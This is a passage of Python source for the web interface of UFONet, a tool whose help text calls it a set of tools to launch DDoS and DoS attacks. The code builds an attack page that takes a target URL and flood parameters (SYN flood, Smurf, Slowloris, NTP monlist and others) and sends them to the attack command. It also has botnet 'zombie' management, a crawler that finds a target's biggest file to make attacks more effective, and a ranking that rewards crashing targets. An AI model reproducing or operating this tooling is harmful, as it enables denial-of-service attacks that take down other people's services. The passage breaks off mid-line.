- document.getElementById("loris").value = "";
- document.getElementById("ufosyn").value = "";
- document.getElementById("spray").value = "";
- document.getElementById("smurf").value = "";
- document.getElementById("xmas").value = "";
- document.getElementById("nuke").value = "";
- document.getElementById("tachyon").value = "";
- document.getElementById("monlist").value = "";
- document.getElementById("dbstress").value = "";
- }
- }
- function Maps() {
- var win_map = window.open("/cmd_view_attack?target="+target,"_blank","fullscreen=yes, resizable=yes", false);
- win_map.resizeTo(screen.width,screen.height);
- }
- function Start(){
- document.getElementById("attack_button").text = "STOP!"
- document.getElementById("attack_button").style = "color:red; height:40px; width:240px; font-weight:bold; background-color:yellow; border: 2px solid red;"
- target=document.getElementById("target").value
- String.prototype.startsWith = function(prefix){
- return this.indexOf(prefix) === 0;
- }
- if(target.startsWith("http")){
- path=document.getElementById("path").value
- rounds=document.getElementById("rounds").value
- dbstress=document.getElementById("dbstress").value
- loic=document.getElementById("loic").value
- loris=document.getElementById("loris").value
- ufosyn=document.getElementById("ufosyn").value
- spray=document.getElementById("spray").value
- smurf=document.getElementById("smurf").value
- xmas=document.getElementById("xmas").value
- nuke=document.getElementById("nuke").value
- tachyon=document.getElementById("tachyon").value
- monlist=document.getElementById("monlist").value
- if(ufosyn || spray || smurf || xmas || nuke || tachyon || monlist){ // root required!
- window.alert("You need 'root' access!. Check shell and enter your password.");
- }
- params="path="+escape(path)+"&rounds="+escape(rounds)+"&target="+escape(target)+"&dbstress="+escape(dbstress)+"&loic="+escape(loic)+"&loris="+escape(loris)+"&ufosyn="+escape(ufosyn)+"&spray="+escape(spray)+"&smurf="+escape(smurf)+"&xmas="+escape(xmas)+"&nuke="+escape(nuke)+"&tachyon="+escape(tachyon)+"&monlist="+escape(monlist)
- if (document.getElementById("visual_attack").checked){
- document.getElementById("visual_attack").value = "on";
- } else {
- document.getElementById("visual_attack").value = "off";
- }
- if(document.getElementById("visual_attack").value=="on"){
- Maps()
- }
- }else{
- window.alert("You need to enter a valid url: http(s)://target.com");
- return
- }
- runCommandX("cmd_attack",params)
- }
- </script>
- </head>
- <body bgcolor="black" text="yellow" style="font-family:Â Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
- <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
- <center>
- <table cellpadding="38" cellspacing="38">
- <tr>
- <td>
- <div class="ringMenu">
- <ul>
- <li class="main"><a href="attack">Attack</a></li>
- <li class="top"><a href="help">Help</a></li>
- <li class="right"><a href="botnet">Botnet</a></li>
- <li class="bottom"><a href="inspect">Inspect</a></li>
- <li class="left"><a href="gui">RETURN</a></li>
- </ul>
- </div>
- </td>
- <td>
- <table bgcolor="black" cellpadding="24" cellspacing="25" border="1">
- <tr><td>
- <pre>
- * Set your target: <input type="text" name="target" id="target" size="30" placeholder="http(s)://" required pattern="https?://.+">
- * Set place to attack: <input type="text" name="path" id="path" size="30" placeholder="/path/big.jpg">
- * Number of rounds: <input type="text" name="rounds" id="rounds" size="5" value="1">
- <hr>
- <button title="Configure how you will perform requests (proxy, HTTP headers, etc)..." onclick="Requests()">Configure requests</button> | <input type="checkbox" name="visual_attack" id="visual_attack"> Generate map! | <input type="checkbox" name="extra_attack" id="extra_attack" onclick='javascript:ShowPanel();'> Extra(s)
- <hr><div id="extra_panel" style="display:none;">
- <table bgcolor="black" cellpadding="4" cellspacing="5" border="1"><tr>
- <td align="left">* <a href="https://en.wikipedia.org/wiki/Low_Orbit_Ion_Cannon" target="_blank">LOIC</a>:</td><td align="right"> <input type="text" name="loic" id="loic" size="4" placeholder="100"></td>
- <td align="left">* <a href="https://en.wikipedia.org/wiki/Slowloris_(software)" target="_blank">LORIS</a>:</td><td align="right"> <input type="text" name="loris" id="loris" size="4" placeholder="101"></td>
- <td align="left">* <a href="https://en.wikipedia.org/wiki/SYN_flood" target="_blank">UFOSYN</a>:</td><td align="right"> <input type="text" name="ufosyn" id="ufosyn" size="4" placeholder="100"></td></tr><tr>
- <td align="left">* <a href="https://en.wikipedia.org/wiki/DRDOS" target="_blank">SPRAY</a>:</td><td align="right"> <input type="text" name="spray" id="spray" size="4" placeholder="110"></td>
- <td align="left">* <a href="https://en.wikipedia.org/wiki/Smurf_attack" target="_blank">SMURF</a>:</td><td align="right"> <input type="text" name="smurf" id="smurf" size="4" placeholder="100"></td>
- <td align="left">* <a href="https://en.wikipedia.org/wiki/Christmas_tree_packet" target="_blank">XMAS</a>:</td><td align="right"> <input type="text" name="xmas" id="xmas" size="4" placeholder="111"></td></tr><tr>
- <td align="left">* <a href="https://dl.packetstormsecurity.net/papers/general/tcp-starvation.pdf" target="_blank">NUKE</a>:</td><td align="right"> <input type="text" name="nuke" id="nuke" size="4" placeholder="10000"></td>
- <td align="left">* <a href="https://www.us-cert.gov/ncas/alerts/TA13-088A" target="_blank">TACHYON</a>:</td><td align="right"> <input type="text" name="tachyon" id="tachyon" size="4" placeholder="1000"></td>
- <td align="left">* <a href="https://www.us-cert.gov/ncas/alerts/TA14-013A" target="_blank">MONLIST</a>:</td><td align="right"> <input type="text" name="monlist" id="monlist" size="4" placeholder="1001"></td></tr>
- </table>
- <hr>
- * Set db stress parameter: <input type="text" name="dbstress" id="dbstress" size="22" placeholder="search.php?q=">
- <hr></div>
- <button title="Start to attack your target..." onClick=Start() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;" id="attack_button">ATTACK!</button> | Total Botnet = <b><a href='javascript:runCommandX("cmd_list_army")'><font size='5'>"""+ self.total_botnet +"""</font></a></b></pre>
- </td><td>
- <table><tr><td><img src='data:image/png;base64,"""+self.alien6_img+"""' onclick="Grid()"></td></tr><tr><td><img src='data:image/png;base64,"""+self.alien8_img+"""' onclick="Wargames()"></td></tr></table>
- </td></tr></table>
- </td></tr></table>
- <hr>
- <div id="cmdOut"></div>
- """ + self.pages["/footer"]
- self.pages["/help"] = self.pages["/header"] + """<script language="javascript">
- function show(one) {
- var nb = document.getElementsByTagName("div");
- for(var x=0; x<nb.length; x++) {
- name = nb[x].getAttribute("class");
- if (name == 'nb') {
- if (nb[x].id == one) {
- nb[x].style.display = 'block';
- }
- else {
- nb[x].style.display = 'none';
- }
- }
- }
- }
- </script>
- <style>.container{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;}svg{max-width:8rem;}.masking{-webkit-transform: scale(0);transform:scale(0);-webkit-transform-origin:178px;transform-origin:178px;-webkit-animation: scale 3s linear infinite; animation: scale 3s linear infinite;}@-webkit-keyframes scale{80%{opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}@keyframes scale{80% {opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}</style>
- </head>
- <body bgcolor="black" text="yellow" style="font-family:Â Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
- <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
- <center>
- <table cellpadding="38" cellspacing="38">
- <tr>
- <td>
- <div class="ringMenu">
- <ul>
- <li class="main"><a href="help">Help</a></li>
- <li class="top"><a href="botnet">Botnet</a></li>
- <li class="right"><a href="inspect">Inspect</a></li>
- <li class="bottom"><a href="attack">Attack</a></li>
- <li class="left"><a href="gui">RETURN</a></li>
- </ul>
- </div>
- </td>
- <td>
- <table cellpadding="24" cellspacing="25" border="1">
- <tr><td><pre>
- <div><a id="mH1" href="javascript:show('nb1');" style="text-decoration: none;" >+ Project info</a></div>
- <div class="nb" id="nb1" style="display: none;"> <b>UFONet</b> - is a set of tools designed to launch <a href="https://en.wikipedia.org/wiki/Distributed_denial-of-service" target="_blank">DDoS</a> and <a href="https://en.wikipedia.org/wiki/Denial-of-service_attack" target="_blank">DoS</a> attacks
- and that allows to combine both in a single offensive.
- </div><div><a id="mH2" href="javascript:show('nb2');" style="text-decoration: none;" >+ How does it work?</a></div> <div class="nb" id="nb2" style="display: none;"> You can read more info on next links:
- - <a href="https://cwe.mitre.org/data/definitions/601.html" target="_blank">CWE-601:Open Redirect</a>
- - <a href="https://www.owasp.org/index.php/OWASP_Periodic_Table_of_Vulnerabilities_-_URL_Redirector_Abuse2" target="_blank">OWASP:URL Redirector Abuse</a>
- - <a href="https://ufonet.03c8.net/ufonet/ufonet-schema.png" target="_blank">UFONet:Botnet Schema</a></div> <div><a id="mH3" href="javascript:show('nb3');" style="text-decoration: none;" >+ How to start?</a></div> <div class="nb" id="nb3" style="display: none;"> All you need to start an attack is:
-
- - a list of '<a href="https://en.wikipedia.org/wiki/Zombie" target="_blank">zombies</a>'; to conduct their connections to your target
- - a place; to efficiently hit your target</div> <div><a id="mH4" href="javascript:show('nb4');" style="text-decoration: none;" >+ Updating</a></div><div class="nb" id="nb4" style="display: none;">
- This feature can be used <u>ONLY</u> if you have cloned UFONet.
- - <i>git clone <a href="https://code.03c8.net/epsylon/ufonet" target="_blank">https://code.03c8.net/epsylon/ufonet</a></i>
- - <i>git clone <a href="https://github.com/epsylon/ufonet" target="_blank">https://github.com/epsylon/ufonet</a></i>
- </div><div>
- <a id="mH5" href="javascript:show('nb5');" style="text-decoration: none;" >+ FAQ/Issues?</a></div><div class="nb" id="nb5" style="display: none;">
- If you have problems with UFONet, try to solve them following next links:
- - <a href="https://ufonet.03c8.net/FAQ.html" target="_blank">Website FAQ</a> section
- - UFONet <a href="https://github.com/epsylon/ufonet/issues" target="_blank">issues</a></div>
- <div><a id="mH6" href="javascript:show('nb6');" style="text-decoration: none;" >+ How can help?</a></div> <div class="nb" id="nb6" style="display: none;"> - Testing; use the tool and search for possible bugs and new ideas
- - Coding; you can try to develop more features
- - Promoting; talk about UFONet on the internet, events, hacklabs, etc
- - Donating; <a href="https://blockchain.info/address/19aXfJtoYJUoXEZtjNwsah2JKN9CK5Pcjw" target="_blank">bitcoin</a>, objects, support, love ;-)</div> <div><a id="mH7" href="javascript:show('nb7');" style="text-decoration: none" >+ Contact methods</a></div> <div class="nb" id="nb7" style="display: none;"> You can contact using:
-
- - Email: <a href="mailto: epsylon@riseup.net">epsylon@riseup.net</a> [GPG:0xB8AC3776]
- - <a target="_blank" href="wormhole">Wormhole</a>: irc.freenode.net / #ufonet
- </div></td> </tr></table> </td></tr></table>
- """ + self.pages["/footer"]
- self.pages["/inspect"] = self.pages["/header"] + """<script language="javascript">
- function Requests() {
- var win_requests = window.open("requests","_blank","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
- }
- function Abduction() {
- var win_requests = window.open("abduction","_blank","fullscreen=no, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
- }
- function Start(){
- target=document.getElementById("target").value
- String.prototype.startsWith = function(prefix){
- return this.indexOf(prefix) === 0;
- }
- if(target.startsWith("http")){
- params="target="+escape(target)
- }else{
- window.alert("You need to enter a valid url: http(s)://target.com/page.html");
- return
- }
- runCommandX("cmd_inspect",params)
- }
- </script>
- </head>
- <body bgcolor="black" text="yellow" style="font-family:Â Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
- <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
- <center>
- <table cellpadding="38" cellspacing="38">
- <tr>
- <td>
- <div class="ringMenu">
- <ul>
- <li class="main"><a href="inspect">Inspect</a></li>
- <li class="top"><a href="help">Help</a></li>
- <li class="right"><a href="botnet">Botnet</a></li>
- <li class="bottom"><a href="attack">Attack</a></li>
- <li class="left"><a href="gui">RETURN</a></li>
- </ul>
- </div>
- </td>
- <td>
- <table bgcolor="black" cellpadding="24" cellspacing="25" border="1">
- <tr>
- <td>
- <pre>
- This feature will provide you the biggest file on target.
- You can use this before to attack to be more effective.
- <button title="Configure how you will perform requests (proxy, HTTP headers, etc)..." onclick="Requests()">Configure requests</button>
- <hr>
- * Set page to crawl: <input type="text" name="target" id="target" size="30" placeholder="http(s)://target.com/list_videos.php">
- <hr>
- <button title="Start to search for biggest file on your target..." onClick=Start() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">INSPECT!</button></pre>
- </td><td><img src='data:image/png;base64,"""+self.alien7_img+"""' onclick="Abduction()"></td>
- </tr></table>
- </td>
- </tr>
- </table>
- <hr>
- <div id="cmdOut"></div>
- """ + self.pages["/footer"]
- self.pages["/ranking"] = self.pages["/header"] + """<script language="javascript">
- function Grid() {
- var win_requests = window.open("grid","_parent","fullscreen=no, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
- }
- function Stats() {
- var win_requests = window.open("stats","_parent","fullscreen=no, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
- }
- function Sync_ranking(){
- ranking_source=document.getElementById("ranking_source").value
- if(ranking_source == "") {
- window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
- return
- }else{
- params="ranking_source="+escape(ranking_source)
- runCommandX("cmd_refresh_ranking",params)
- document.getElementById("nb1").style.display = "none";
- document.getElementById("nb1").style.display = "block";
- setTimeout("location.reload()", 10000)
- }
- }
- </script></head>
- <body bgcolor="black" text="yellow" style="font-family:Â Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
- <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
- <center>
- <table bgcolor="black" cellpadding="24" cellspacing="25" border="0"><tr>
- <td><a href="javascript:alert('Commander DPR says: I love new blood!! """ + self.ranking + """, in the Ranking section you can see information about how to raise your grade, meet the best UFOMasters, be close to those who are like you and try to find partners to dominate the multi-verse... Until then: Dont be evil!');"><img src='data:image/png;base64,"""+self.commander_img+"""'></a></td>
- <td>GRADUATION/CLANS device: <font color='green'>ON</font><br><br><button title="Review stats from other motherships and share yours with them..." onclick="Grid()">VISIT GRID!</button> <button title="Visit your own stats..." onclick="Stats()">VISIT STATS!</button></td>
- </tr></table>
- <table cellpadding="5" cellspacing="10">
- <tr>
- <td align="center">
- Your ranking is: <b>""" + str(self.ranking) + """</b>
- </td>
- </tr>
- <tr>
- <td>
- <table border="1" cellpadding="10" cellspacing="10">
- <tr>
- <td align="center"><b><u>GRADE:</u></b></td><td align="center"><b><u>RANKING:</u></b></td><td align="center"><b><u>REQUIRED:</u></b></td></tr>
- <tr>
- <td align="center"><font color='orange' size='4'>-</font></td><td align="center"><font color='orange'>Unknown</font></td><td align='center'><a style="text-decoration:none" href="javascript:alert('You havent a correct key set on your configuration to unmask this Motherships!');">KEY?</a></td></tr>
- <tr>
- <td align="center"><font color='white' size='4'>*</font></td><td align="center"><font color='white'>Rookie</font></td><td align='center'><font color='white'>missions<4</font></td></tr>
- <tr>
- <td align="center"><font color='cyan' size='4'>**</font></td><td align="center"><font color='cyan'>Mercenary</font></td><td align='center'><font color='cyan'>missions>4</font></td></tr>
- <tr>
- <td align="center"><font color='blueviolet' size='4'>***</font></td><td align="center"><font color='blueviolet'>Bandit</font></td><td align='center'><font color='blueviolet'>crashed=1</font></td></tr>
- <tr>
- <td align="center"><font color='blue' size='4'>****</font></td><td align="center"><font color='blue'>UFOmmander!</font></td><td align='center'><font color='blue'>crashed>1<4</font></td></tr>
- <tr>
- <td align="center"><font color='red' size='4'>▼</font></td><td align="center"><font color='red'>UFOl33t!</font></td><td align='center'><font color='red'><a style="text-decoration:none" href="javascript:alert('Secret Achievement!');">???</a></font></td></tr>
- </table>
- </td>
- </tr></table>
- <br>
- <table cellpadding="5" cellspacing="10">
- <tr>
- <td>Blackhole/IP:</td>
- <td><input type="text" name="ranking_source" id="ranking_source" size="20" value='"""+default_blackhole+"""'></td>
- <td><button title="Syncronize data from a blackhole with your device..." onclick="Sync_ranking()">DOWNLOAD!</button></td>
- </tr></table>
- <br>
- <div id="nb2" style="display: none;">"""+str(self.extract_ranking_table())+"""</div>
- Last update: <font color='"""+ self.ranking_status_color + """'>"""+ self.ranking_datetime + """</font><br><br>
- <div id="cmdOut"></div>
- <div id="nb1" style="display: block;">"""+self.ranking_text+"""</div>
- <table bgcolor="black" cellpadding="5" cellspacing="10" border="0"><tr>
- <td>
- </td><td>
- <table border="1" cellpadding="5" cellspacing="10">
- <tr>
- <td align="center"><b><u>TOTAL_ON_GRID:</u></b></td><td align="center"><b><u>"""+str(self.ranking_grid_total)+"""</u></b></td></tr>
- <tr>
- <td align="center"><font color='orange'>Unknown</font></td><td align='center'><font color='orange'>"""+str(self.ranking_grid_unknown)+"""</font></td></tr>
- <tr>
- <td align="center"><font color='white'>Rookie</font></td><td align='center'><font color='white'>"""+str(self.ranking_grid_rookie)+"""</font></td></tr>
- <tr>
- <td align="center"><font color='cyan'>Mercenary</font></td><td align='center'><font color='cyan'>"""+str(self.ranking_grid_mercenary)+"""</font></td></tr>
- <tr>
- <td align="center"><font color='blueviolet'>Bandit</font></td><td align='center'><font color='blueviolet'>"""+str(self.ranking_grid_bandit)+"""</font></td></tr>
- <tr>
- <td align="center"><font color='blue'>UFOmmander!</font></td><td align='center'><font color='blue'>"""+str(self.ranking_grid_ufommander)+"""</font></td></tr>
- <tr>
- <td align="center"><font color='red'>UFOl33t!</font></td><td align='center'><font color='red'>"""+str(self.ranking_grid_ufoleet)+"""</font></td></tr>
- </table>
- </td><td>
- <table border="1" cellpadding="5" cellspacing="10">
- <tr>
- <td><b><u>TOP_5_MOTHERSHIPS:</u></b></td></tr>
- <tr>
- <td align='center'>"""+str(self.ranking_top5_player1)+"""</td></tr>
- <tr>
- <td align='center'>"""+str(self.ranking_top5_player2)+"""</td></tr>
- <tr>
- <td align='center'>"""+str(self.ranking_top5_player3)+"""</td></tr>
- <tr>
- <td align='center'>"""+str(self.ranking_top5_player4)+"""</td></tr>
- <tr>
- <td align='center'>"""+str(self.ranking_top5_player5)+"""</td></tr>
- </table>
- </td><td>
- <table border="1" cellpadding="5" cellspacing="10">
- <tr>
- <td><b><u>RANDOM_SIMILAR:</u></b></td></tr>
- <tr>
- <td align='center'>"""+str(self.ranking_similar_player1)+"""</td></tr>
- <tr>
- <td align='center'>"""+str(self.ranking_similar_player2)+"""</td></tr>
- <tr>
- <td align='center'>"""+str(self.ranking_similar_player3)+"""</td></tr>
- </table>
- </td><td>
- <table border="1" cellpadding="5" cellspacing="10">
- <tr>
- <td><b><u>AI_SUGGESTION:</u></b></td></tr>
- <tr>
- <td align='center'>"""+str(self.ranking_top1_player1)+"""</td></tr>
- </table>
- </td>
- </tr></table>
- </center>
- <hr>
- """ + self.pages["/footer"]
- self.pages["/lib.js"] = """function loadXMLDoc() {
- var xmlhttp;
- if (window.XMLHttpRequest) {
- // code for IE7+, Firefox, Chrome, Opera, Safari
- xmlhttp = new XMLHttpRequest();
- } else {
- // code for IE6, IE5
- xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
- }
- xmlhttp.onreadystatechange = function() {
- if (xmlhttp.readyState == 4 ) {
- if(xmlhttp.status == 200){
- document.getElementById("cmdOut").innerHTML = xmlhttp.responseText;
- setTimeout("loadXMLDoc()", 3000);
- }
- }
- }
- xmlhttp.send();
- }
- function runCommandX(cmd,params) {
- var xmlhttp;
- if (window.XMLHttpRequest) {
- // code for IE7+, Firefox, Chrome, Opera, Safari
- xmlhttp = new XMLHttpRequest();
- } else {
- // code for IE6, IE5
- xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
- }
- xmlhttp.onreadystatechange = function() {
- if (xmlhttp.readyState == 4 ) {
- if(xmlhttp.status == 200){
- if(cmd.indexOf("?")!=-1){
- s=cmd.split("?")
- cmd=s[0]
- params=s[1]
- }
- document.getElementById("cmdOut").innerHTML = xmlhttp.responseText;
- //document.getElementById("cmdOut").scrollIntoView();
- newcmd=cmd
- if(newcmd=="cmd_list_army"||newcmd=="cmd_view_army"||newcmd=="cmd_list_zombies"||newcmd=="cmd_list_aliens"|| newcmd=="cmd_list_droids"||newcmd=="cmd_list_ucavs"||newcmd=="cmd_list_rpcs"){ //do not refresh listing army
- return;
- } else {
- if(newcmd=="cmd_test_army" || newcmd=="cmd_test_all" || newcmd=="cmd_test_offline" || newcmd=="cmd_test_rpcs" || newcmd=="cmd_attack" || newcmd=="cmd_refresh_blackholes" || newcmd=="cmd_refresh_news" || newcmd=="cmd_refresh_missions" || newcmd=="cmd_sync_grid" || newcmd=="cmd_sync_board" || newcmd=="cmd_sync_wargames" || newcmd=="cmd_send_message_board" || newcmd=="cmd_transfer_grid" || newcmd=="cmd_transfer_wargame" || newcmd=="cmd_decrypt" || newcmd=="cmd_decrypt_moderator_board" || newcmd=="cmd_decrypt_grid" || newcmd=="cmd_decrypt_wargames" || newcmd=="cmd_inspect" || newcmd=="cmd_abduction" || newcmd=="cmd_download_community" || newcmd=="cmd_upload_community" || newcmd=="cmd_attack_me" || newcmd=="cmd_check_tool" || newcmd=="cmd_edit_supply" || newcmd=="cmd_job_remove" || newcmd=="cmd_job_remove_all" || newcmd=="cmd_job_add" || newcmd =="cmd_job_add_all" || newcmd=="cmd_job_cancel" || newcmd=="cmd_job_cancel_all" || newcmd=="cmd_job_filter" || newcmd=="cmd_grid_filter" || newcmd=="cmd_search") newcmd=newcmd+"_update"
- //do not refresh if certain text on response is found
- if(newcmd.match(/update/) &&
- (
- xmlhttp.responseText.match(/Generating random exit/) ||
- xmlhttp.responseText.match(/Biggest File/) ||
- xmlhttp.responseText.match(/Abduction finished/) ||
- xmlhttp.responseText.match(/Not any zombie active/) ||
- xmlhttp.responseText.match(/Target looks OFFLINE/) ||
- xmlhttp.responseText.match(/Unable to connect to target/) ||
- xmlhttp.responseText.match(/Something wrong/) ||
- xmlhttp.responseText.match(/Target url not valid/) ||
- xmlhttp.responseText.match(/updated/) ||
- xmlhttp.responseText.match(/For HELP use:/) ||
- xmlhttp.responseText.match(/Not any .git repository found/) ||
- xmlhttp.responseText.match(/End of /) ||
- xmlhttp.responseText.match(/Exiting /) ||
- xmlhttp.responseText.match(/Bye/)
- )
- ) return;
- setTimeout(function(){runCommandX(newcmd,params)}, 3000);
- return;}
- }
- }
- }
- if(typeof params != "undefined") cmd=cmd+"?"+params
- xmlhttp.open("GET", cmd, true);
- xmlhttp.send();
- }
- """
- self.pages["/requests"] = self.html_requests()
- self.pages["/board_profile"] = self.html_board_profile()
- self.pages["/grid_profile"] = self.html_grid_profile()
- def buildGetParams(self, request):
- params = {}
- try:
- path = re.findall("^GET ([^\s]+)", request.decode('utf-8'))
- except:
- path = re.findall("^GET ([^\s]+)", request)
- if path:
- path = path[0]
- start = path.find("?")
- if start != -1:
- if path[start+1:start+7] == "zombie":
- params['zombie']=path[start+8:]
- return params
- if path[start+1:start+7] == "target":
- params['target']=path[start+8:]
- return params
- for param in path[start+1:].split("&"):
- f = param.split("=")
- if len(f) == 2:
- var = f[0]
- value = f[1]
- value = value.replace("+", " ")
- value = urllib.parse.unquote(value)
- params[var] = value
- return params
- def save_profile(self,pGet):
- # set values for profile configuration from html form to json file
- if "profile_token" in list(pGet.keys()):
- profile_token = pGet["profile_token"]
- else:
- profile_token = self.profile_token
- if "profile_icon" in list(pGet.keys()):
- profile_icon = pGet["profile_icon"]
- else:
- profile_icon = self.profile_icon
- if "profile_nick" in list(pGet.keys()):
- profile_nick = pGet["profile_nick"]
- else:
- profile_nick = self.profile_nick
- # set new values on boardcfg json file
- with open(self.mothership_boardcfg_file, "w") as f:
- json.dump({"profile_token": profile_token, "profile_icon": profile_icon, "profile_nick": profile_nick}, f, indent=4)
- def save_grid(self,pGet):
- # set values for profile configuration from html form to json file
- if "grid_token" in list(pGet.keys()):
- grid_token = pGet["grid_token"]
- else:
- grid_token = self.grid_token
- if "grid_contact" in list(pGet.keys()):
- grid_contact = pGet["grid_contact"]
- else:
- grid_contact = self.grid_contact
- if "grid_nick" in list(pGet.keys()):
- grid_nick = pGet["grid_nick"]
- else:
- grid_nick = self.grid_nick
- # set new values on gridcfg json file
- with open(self.mothership_gridcfg_file, "w") as f:
- json.dump({"grid_token": grid_token, "grid_contact": grid_contact, "grid_nick": grid_nick}, f, indent=4)
- def save_cfg(self,pGet):
- # set values for requests configuration from html form to json file
- if "rproxy" in list(pGet.keys()):
- frm_rproxy = pGet["rproxy"]
- else:
- frm_rproxy = self.rproxy
- if "ruseragent" in list(pGet.keys()):
- frm_ruseragent = pGet["ruseragent"]
- else:
- frm_ruseragent = self.ruseragent
- if "rreferer" in list(pGet.keys()):
- frm_rreferer = pGet["rreferer"]
- else:
- frm_rreferer = self.rreferer
- if "rhost" in list(pGet.keys()):
- frm_rhost = pGet["rhost"]
- else:
- frm_rhost = self.rhost
- if "rxforw" in list(pGet.keys()):
- frm_rxforw = pGet["rxforw"]
- else:
- if "update" in list(pGet.keys()):
- frm_rxforw = ""
- else:
- frm_rxforw = self.rxforw
- if "rxclient" in list(pGet.keys()):
- frm_rxclient = pGet["rxclient"]
- else:
- if "update" in list(pGet.keys()):
- frm_rxclient = ""
- else:
- frm_rxclient = self.rxclient
- if "rtimeout" in list(pGet.keys()):
- frm_rtimeout = pGet["rtimeout"]
- else:
- frm_rtimeout = self.rtimeout
- if "rretries" in list(pGet.keys()):
- frm_rretries = pGet["rretries"]
- else:
- frm_rretries = self.rretries
- if "rdelay" in list(pGet.keys()):
- frm_rdelay = pGet["rdelay"]
- else:
- frm_rdelay = self.rdelay
- if "threads" in list(pGet.keys()):
- frm_threads = pGet["threads"]
- else:
- frm_threads = self.threads
- if "rssl" in list(pGet.keys()):
- frm_rssl = pGet["rssl"]
- else:
- if "update" in list(pGet.keys()):
- frm_rssl = ""
- else:
- frm_rssl = self.rssl
- # set new values on webcfg json file
- with open(self.mothership_webcfg_file, "w") as f:
- json.dump({"rproxy": frm_rproxy, "ruseragent": frm_ruseragent, "rreferer": frm_rreferer, "rhost": frm_rhost, "rxforw": frm_rxforw, "rxclient": frm_rxclient, "rtimeout": frm_rtimeout, "rretries": frm_rretries, "rdelay": frm_rdelay, "threads":frm_threads, "rssl":frm_rssl}, f, indent=4)
- def get(self, request):
- # set request options of the user
- cmd_options = "--proxy='" + self.rproxy + "' --user-agent='" + self.ruseragent + "' --referer='" + self.rreferer + "' --host='" + self.rhost + "' --timeout='" + self.rtimeout + "' --retries='" + self.rretries + "' --delay='" + self.rdelay +"'" + " --threads='"+self.threads+"'"
- if self.rxforw == "on":
- cmd_options = cmd_options + " --xforw"
- if self.rxclient == "on":
- cmd_options = cmd_options + " --xclient"
- if self.rssl == "on":
- cmd_options = cmd_options + " --force-ssl"
- cmd_options = cmd_options + " --force-yes" # no raw_input allowed on webgui
- runcmd = ""
- try:
- res = re.findall("^GET ([^\s]+)", request.decode('utf-8'))
- except:
- res = re.findall("^GET ([^\s]+)", request)
- if res is None or len(res)==0:
- return
- pGet = {}
- page = res[0]
- paramStart = page.find("?")
- if paramStart != -1:
- page = page[:paramStart]
- try:
- pGet = self.buildGetParams(request.decode('utf-8'))
- except:
- pGet = self.buildGetParams(request)
- if page.startswith("/js/") or page.startswith("/images/") or page.startswith("/maps/") or page.startswith("/markers/"):
- if os.path.exists("core/"+page[1:]):
- try:
- f=open("core/"+page[1:],'r',encoding="utf-8")
- data = f.read()
- self.pages[page]=data
- except:
- f=open("core/"+page[1:],'rb') # ajax map related
- data = f.read()
- self.pages[page]=data
- elif page == "/js/ajax.js":
- from .ajaxmap import AjaxMap
- self.pages[page] = AjaxMap().ajax(pGet)
- if page == "/cmd_check_tool":
- self.pages["/cmd_check_tool"] = "<pre>Waiting for updates results...</pre>"
- runcmd = "(python -i ufonet --update |tee /tmp/out) &"
- if page == "/cmd_check_tool_update":
- if not os.path.exists('/tmp/out'):
- open('/tmp/out', 'w').close()
- with open('/tmp/out', 'r') as f:
- self.pages["/cmd_check_tool_update"] = "<pre>"+f.read()+"<pre>"
- if page == "/cmd_list_army":
- self.pages["/cmd_list_army"] = "<pre><h1>Total Botnet = "+self.total_botnet+"</h1><table cellpadding='10' cellspacing='10' border='1'><tr><td>UCAVs:</td><td>"+self.num_ucavs+"</td><td>Aliens:</td><td>"+self.num_aliens+"</td></tr><tr><td>Droids:</td><td>"+self.num_droids+"</td><td>Zombies:</td><td>"+self.num_zombies+"</td></tr><tr><td>XML-RPCs:</td><td>"+self.num_rpcs+" </td></tr></table> <hr><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>UCAVs:</u> <b>"+self.num_ucavs+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.ucavs_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_ucavs)+"</td><td></h3>"+'\n'.join(self.ucavs)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Aliens:</u> <b>"+self.num_aliens+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.aliens_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_aliens)+"</td><td></h3>"+'\n'.join(self.aliens)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Droids:</u> <b>"+self.num_droids+"</b></td><td>Last update: 